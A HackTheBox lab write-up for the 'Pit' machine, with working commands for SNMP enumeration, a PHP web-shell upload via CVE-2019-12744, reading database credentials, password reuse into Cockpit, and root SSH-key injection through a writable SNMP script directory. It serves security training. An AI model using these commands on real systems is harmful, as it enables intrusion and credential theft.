HTB: Pit Writeup
Pit - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Pit |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 15 May 2021 |
| IP Address | 10.129.228.106 |
| Author | polarbearer & GibParadox |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Pit is a medium-difficulty Linux machine that teaches SNMP enumeration, web application exploitation, password reuse, and SNMP extension abuse for privilege escalation. The box introduces SELinux restrictions that prevent typical reverse shells, forcing alternative approaches. SNMP enumeration with the default public community string reveals filesystem paths and user information pointing to a SeedDMS installation. The SeedDMS instance is vulnerable to CVE-2019-12744 (authenticated arbitrary file upload), but the Apache .htaccess protection is ineffective because the web server is nginx. Exploitation yields RCE as the nginx user. Database credentials found in configuration files are reused for Cockpit web console access as user michelle. Privilege escalation is achieved by exploiting an SNMP extension that executes scripts from a directory where michelle has write access via ACLs, allowing SSH key injection into root’s authorized_keys.
TL;DR: SNMP enumeration (public community) → SeedDMS discovery → CVE-2019-12744 file upload RCE (nginx ignores .htaccess) → password reuse for Cockpit access as michelle → SNMP extension script write (ACL bypass) → SSH key injection → root shell.
Reconnaissance
Port Scanning
# Initial TCP scan of common portsnmap -sC -sV -p22,80,9090 --open -T4 10.129.228.106Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.0 (protocol 2.0)| ssh-hostkey:| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)80/tcp open http nginx 1.14.1|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux|_http-server-header: nginx/1.14.19090/tcp open http Cockpit web service 221 - 253| http-title: Loading...|_Requested resource was https://hackback.htb:9090/Three services are exposed:
- SSH (22): OpenSSH 8.0, standard configuration
- HTTP (80): nginx 1.14.1 serving a default test page
- Cockpit (9090): CentOS web-based server management interface
The Cockpit SSL certificate reveals a Common Name: dms-pit.htb, which suggests a domain-based virtual host configuration.
UDP Service Enumeration
Since TCP enumeration was limited, a UDP scan was performed:
# SNMP is commonly found on UDP 161snmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.2021.9 2>&1 | head -40SNMP (UDP 161) responds to the default public community string, indicating an insecure SNMP configuration. This is a critical misconfiguration that allows unauthenticated information disclosure.
SNMP Enumeration
SNMP enumeration revealed two key pieces of information:
1. Disk/Filesystem Information (OID .1.3.6.1.4.1.2021.9)
# Query for disk/filesystem informationsnmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.2021.9 2>&1 | grep -i seedOutput:
"/var/www/html/seeddms51x/seeddms""/dev/mapper/cl-seeddms"This reveals:
- A SeedDMS installation at
/var/www/html/seeddms51x/seeddms - A dedicated LVM volume for the application, suggesting it’s a production service
2. SNMP Extensions (OID .1.3.6.1.4.1.8072.1.3.2)
# Query for custom SNMP extensionssnmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2 2>&1 | head -40Output (partial):
2"/usr/bin/free""/usr/bin/monitor"..."Database statusOK - Connection to database successful.System release infoCentOS Linux release 8.3.2011SELinux Settingsuser...michelle...Key findings:
- A custom monitoring script at
/usr/bin/monitoris executed via SNMP - User michelle exists on the system
- The system runs CentOS Linux 8.3.2011 with SELinux enabled
- SELinux user context shows
michelleis confined asuser_u(restricted capabilities)
Web Enumeration
Initial Access
Adding the discovered hostname to /etc/hosts:
echo '10.129.228.106 dms-pit.htb' | sudo tee -a /etc/hostsAccessing http://dms-pit.htb/seeddms51x/seeddms/ revealed a SeedDMS 5.1.15 login page.
SeedDMS Version Analysis
The application headers and SNMP output confirmed:
- SeedDMS version 5.1.15
- Installation path:
/var/www/html/seeddms51x/seeddms - Web server: nginx 1.14.1 (not Apache)
Vulnerability Assessment
- SNMP Misconfiguration: Default
publiccommunity string allows unauthenticated information disclosure - Weak Credentials: User
michellediscovered via SNMP - SeedDMS CVE-2019-12744: Authenticated arbitrary file upload vulnerability, patched in 5.1.11 but patch relies on Apache
.htaccessfiles - Web Server Mismatch: nginx doesn’t process
.htaccessfiles, making the CVE-2019-12744 patch ineffective - SELinux Restrictions: Enabled but misconfigured ACLs provide escalation paths
Initial Foothold
SeedDMS Authentication
Testing common credentials with the discovered username:
# Login attempt with michelle:michelleB='http://dms-pit.htb/seeddms51x/seeddms'curl -s -i $B/op/op.Login.php \ --data-urlencode 'login=michelle' \ --data-urlencode 'pwd=michelle' \ --data-urlencode 'lang=en_GB' | head -20Success: The credentials michelle:michelle provided authenticated access.
HTTP/1.1 302 FoundSet-Cookie: mydms_session=<session_id>; path=/seeddms51x/seeddms/; HttpOnlyLocation: /seeddms51x/seeddms/out/out.ViewFolder.php?folderid=1SeedDMS Folder Structure Enumeration
SeedDMS uses an AJAX-based folder structure. Enumerating folders:
# Query folder list via AJAX endpointB='http://dms-pit.htb/seeddms51x/seeddms'SID='<session_cookie>'curl -s -b "mydms_session=$SID" \ "$B/out/out.ViewFolder.php?action=folderList&folderid=1&orderby=u" | \ sed -E 's/<[^>]*>/ /g' | tr -s ' ' | grep -E 'Owner|Folder' | headFolder structure discovered:
Root (folderid=1)├── Docs (folderid=6)│ └── Users (folderid=7)│ ├── Michelle (folderid=8) ← Write access│ └── Jack (folderid=9)└── Upgrade Note (documentid=21)The Upgrade Note document mentioned:
“Dear colleagues, Because of security issues in the previously installed version (5.1.10), I upgraded SeedDMS to version 5.1.15…”
This confirms the application was upgraded to address CVE-2019-12744.
Exploiting CVE-2019-12744
CVE-2019-12744 is an authenticated arbitrary file upload vulnerability in SeedDMS ≤ 5.1.10. The patch in version 5.1.11 added .htaccess restrictions to the data directory to prevent direct access to uploaded files. However:
- The target system runs nginx, not Apache
- nginx does not process
.htaccessfiles - The security control is therefore completely ineffective
Creating the Web Shell
# Create a minimal PHP web shellprintf '%s\n' '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die;}?>' > /dev/shm/1.phpObtaining Upload Token
SeedDMS implements CSRF protection via form tokens:
B='http://dms-pit.htb/seeddms51x/seeddms'SID='<session_cookie>'
# Extract formtoken from Add Document pageTOK=$(curl -s -b "mydms_session=$SID" \ "$B/out/out.AddDocument.php?folderid=8" | \ grep -oiE 'name="formtoken" value="[a-f0-9]+"' | \ grep -oiE '[a-f0-9]{16,}')
echo "Token: $TOK"Uploading the Web Shell
export TMPDIR=/dev/shm # Avoid disk space issues
curl -s -b "mydms_session=$SID" -i "$B/op/op.AddDocument.php" \ -F "formtoken=$TOK" \ -F 'folderid=8' \ -F 'name=report2' \ -F 'comment=' \ -F 'keywords=' \ -F 'sequence=1' \ -F 'reqversion=1' \ -F 'expires=' \ -F 'userfile[]=@/dev/shm/1.php;type=application/x-php;filename=1.php' | \ grep -iE 'HTTP/|Location:'Response:
HTTP/1.1 302 FoundLocation: ../out/out.ViewFolder.php?folderid=8&showtree=Success! The file was accepted.
Retrieving Document ID
# Get the newly created document IDcurl -s -b "mydms_session=$SID" \ "$B/out/out.ViewFolder.php?action=folderList&folderid=8&orderby=u" | \ grep -oiE 'documentid=[0-9]+' | sort -uOutput: documentid=29
Executing Commands
SeedDMS stores uploaded files at /data/1048576/<documentid>/1.php:
# Test RCE with id commandcurl -s -H 'Host: dms-pit.htb' \ 'http://10.129.228.106/seeddms51x/data/1048576/29/1.php?cmd=id'Output:
<pre>uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0</pre>Code execution achieved as nginx user! Note the SELinux context httpd_t which will restrict certain operations.
Extracting Database Credentials
SeedDMS stores its configuration in an XML file:
# Read settings.xml for database credentialscurl -s -H 'Host: dms-pit.htb' \ 'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \ --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' | \ grep -iE 'dbPass'Output:
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">Database password extracted: ied^ieY6xoquu
Lateral Movement via Password Reuse
Attempting to read user files directly failed due to SELinux restrictions:
curl -s -H 'Host: dms-pit.htb' \ 'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \ --data-urlencode 'cmd=cat /home/michelle/user.txt 2>&1'Output:
cat: /home/michelle/user.txt: Permission deniedHowever, the database password can be tested for password reuse. The Cockpit web console on port 9090 accepts system credentials:
# Test Cockpit authenticationcurl -sk -u 'michelle:ied^ieY6xoquu' -i \ 'https://10.129.228.106:9090/cockpit/login' | \ grep -iE 'HTTP/|Set-Cookie' | headOutput:
HTTP/1.1 200 OKSet-Cookie: cockpit=<cookie>; Path=/; Secure; HttpOnly{"csrf-token":"<token>"}Success! Password reuse grants Cockpit access as michelle.
User Flag via Cockpit Terminal
Cockpit provides a web-based terminal. Rather than using the browser, a headless WebSocket client was developed:
# ck.py - Headless Cockpit WebSocket clientimport ssl,sys,json,base64,http.client,websocket
HOST='10.129.228.106';PORT=9090USER='michelle';PW='ied^ieY6xoquu'cmd=sys.argv[1]
# Authenticate via HTTPc=http.client.HTTPSConnection(HOST,PORT,context=ssl._create_unverified_context())auth=base64.b64encode(f'{USER}:{PW}'.encode()).decode()c.request('GET','/cockpit/login',headers={'Authorization':'Basic '+auth})r=c.getresponse();body=r.read()cookie=Nonefor k,v in r.getheaders(): if k.lower()=='set-cookie': cookie=v.split(';')[0]if not cookie: print('LOGIN FAIL',r.status,body);sys.exit(1)
# Connect to WebSocketws=websocket.create_connection(f'wss://{HOST}:{PORT}/cockpit/socket', sslopt={'cert_reqs':ssl.CERT_NONE}, header=['Cookie: '+cookie], subprotocols=['cockpit1'])
def send(chan,payload): ws.send(chan+'\n'+payload)
# Wait for server initwhile True: m=ws.recv() if isinstance(m,bytes):m=m.decode(errors='replace') nl=m.find('\n');chan=m[:nl];data=m[nl+1:] if chan=='': j=json.loads(data) if j.get('command')=='init': send('',json.dumps({'command':'init','version':1,'host':'localhost'})) break
# Open command stream channelsend('',json.dumps({'command':'open','channel':'ch1','payload':'stream', 'spawn':['/bin/bash','-c',cmd],'host':'localhost','pty':False,'err':'out'}))
# Collect outputout=b''while True: try: m=ws.recv() except Exception: break if isinstance(m,str):mb=m.encode() else:mb=m nl=mb.find(b'\n');chan=mb[:nl].decode();data=mb[nl+1:] if chan=='ch1': out+=data elif chan=='': j=json.loads(data.decode()) if j.get('command')=='close' and j.get('channel')=='ch1': break
sys.stdout.buffer.write(out)ws.close()Reading the user flag:
cd /dev/shm/pitwork && python3 ck.py 'cat /home/michelle/user.txt'Output: <redacted>
Privilege Escalation
SNMP Extension Analysis
Recall from initial SNMP enumeration that /usr/bin/monitor is executed as root via SNMP extensions. Let’s examine this:
# Read the monitor scriptcurl -s -H 'Host: dms-pit.htb' \ 'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \ --data-urlencode 'cmd=cat /usr/bin/monitor 2>&1'Output:
#!/bin/bash
for script in /usr/local/monitoring/check*shdo /bin/bash $scriptdoneThe script executes all scripts matching /usr/local/monitoring/check*.sh as root when SNMP walks the extension OID.
ACL Enumeration
Checking directory permissions:
curl -s -H 'Host: dms-pit.htb' \ 'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \ --data-urlencode 'cmd=getfacl /usr/local/monitoring 2>&1'Output:
# file: usr/local/monitoring# owner: root# group: rootuser::rwxuser:michelle:-wx ← Michelle has write and execute access!group::rwxmask::rwxother::---Critical finding: While the directory is owned by root with 700 base permissions, an ACL grants michelle write and execute access (-wx). This means michelle can create files in the directory but cannot list its contents.
Exploitation Strategy
Since SELinux blocks:
- Direct reverse shells from web contexts
- Direct file reads of
/root/root.txtvia SNMP - Most network operations from restricted contexts
The solution is to write an SSH public key into root’s authorized_keys file, then connect via SSH.
Generate SSH Key Pair
cd /dev/shm/pitworkssh-keygen -t ed25519 -f pitroot -N '' -qcat pitroot.pubOutput:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgGMhrHuIUbJmWuLfCB4YWs/AeyPKZAQW8TrRcCCSq3 d3vn0mi@devn0mi-training-kaliCreate Privilege Escalation Script
PUB=$(cat pitroot.pub)
# Create the script that will run as rootprintf '#!/bin/bashmkdir -p /root/.sshchmod 700 /root/.sshecho "%s" >> /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys' "$PUB" > ck_payload.sh
# Base64 encode for safe transferB64=$(base64 -w0 ck_payload.sh)echo $B64Output: IyEvYmluL2Jhc2gKbWtkaXIgLXAgL3Jvb3QvLnNzaApjaG1vZCA3MDAgL3Jvb3QvLnNzaAplY2hvICJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSmdHTWhySHVJVWJKbVd1TGZDQjRZV3MvQWV5UEtaQVFXOFRyUmNDQ1NxMyBkM3ZuMG1pQGRldm4wbWktdHJhaW5pbmcta2FsaSIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==
Deploy the Script
Using the Cockpit client to run commands as michelle:
B64='IyEvYmluL2Jhc2gKbWtkaXIgLXAgL3Jvb3QvLnNzaApjaG1vZCA3MDAgL3Jvb3QvLnNzaAplY2hvICJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSmdHTWhySHVJVWJKbVd1TGZDQjRZV3MvQWV5UEtaQVFXOFRyUmNDQ1NxMyBkM3ZuMG1pQGRldm4wbWktdHJhaW5pbmcta2FsaSIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg=='
python3 ck.py "echo $B64 | base64 -d > /usr/local/monitoring/check_key.sh; echo EXIT=\$?; ls -la /usr/local/monitoring/check_key.sh"Output:
EXIT=0-rw-r--r--. 1 michelle michelle 238 Jul 20 20:45 /usr/local/monitoring/check_key.shScript successfully written!
Trigger Script Execution
Walking the SNMP extension OID triggers /usr/bin/monitor, which executes our script as root:
# Trigger the monitoring scriptsnmpwalk -cpublic -v2c 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2 >/dev/null 2>&1
# Wait for executionsleep 3
# Connect as rootssh -i pitroot -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ root@10.129.228.106 'id; hostname; cat /root/root.txt'Output:
Warning: Permanently added '10.129.228.106' (ED25519) to the list of known hosts.uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023pit.htb<redacted>Root access achieved!
Attack Chain Summary
SNMP Enumeration (public community) ↓Discover SeedDMS path + user michelle ↓SeedDMS Login (michelle:michelle) ↓CVE-2019-12744 File Upload (.htaccess ineffective on nginx) ↓RCE as nginx user (SELinux httpd_t context) ↓Extract DB password from settings.xml ↓Password Reuse → Cockpit Access as michelle ↓Write check_key.sh to /usr/local/monitoring (ACL bypass) ↓Trigger via SNMP extension → Script runs as root ↓SSH Key Injection → Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | TCP/UDP port scanning and service enumeration |
snmpwalk | SNMP enumeration and extension triggering |
curl | HTTP requests, authentication, and file upload |
websocket-client (Python) | Headless Cockpit WebSocket communication |
ssh-keygen | SSH key pair generation for privilege escalation |
base64 | Encoding payload for safe transfer |
Key Learnings
Techniques Practiced
- SNMP enumeration with default community strings for information disclosure
- Exploiting CVE-2019-12744 (SeedDMS authenticated file upload)
- Understanding web server differences (Apache
.htaccessvs nginx) - Password reuse attacks across multiple services
- SELinux awareness and working within confined contexts
- ACL exploitation for privilege escalation
- SNMP extension abuse for remote code execution as root
- Headless WebSocket client development for Cockpit automation
Lessons Learned
-
Default SNMP community strings are dangerous: The
publiccommunity string provided extensive system information including users, filesystems, and running processes. Always change default SNMP credentials and restrict access. -
Security controls must match the technology stack: The SeedDMS patch for CVE-2019-12744 used Apache
.htaccessfiles, which are completely ignored by nginx. Security solutions must be validated in the actual deployment environment. -
Password reuse is a common escalation path: The database password
ied^ieY6xoquuwas reused for the system account, demonstrating why services should use dedicated credentials. -
SELinux provides defense in depth but not security through obscurity: While SELinux blocked reverse shells and direct file access, it didn’t prevent privilege escalation through legitimate system mechanisms (SNMP extensions).
-
ACLs can create hidden privilege escalation paths: The directory appeared secure with
drwxrwx---permissions owned by root, but ACLs grantedmichellewrite access. Always check ACLs withgetfacl. -
SNMP extensions can be weaponized: Custom SNMP extensions that execute scripts are dangerous if the script directories are writable by unprivileged users. This effectively creates a root cron job triggered by SNMP.
-
Alternative access methods when shells are blocked: When SELinux or other security controls block reverse shells, alternative methods like SSH key injection, cronjob creation, or service abuse can achieve the same goal.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup was based on a live solve of the HackTheBox machine “Pit.” Explanatory details about CVE-2019-12744, SELinux user capabilities, and the .htaccess security control implementation were informed by the official HackTheBox writeup (Document No D21.100.133) by polarbearer.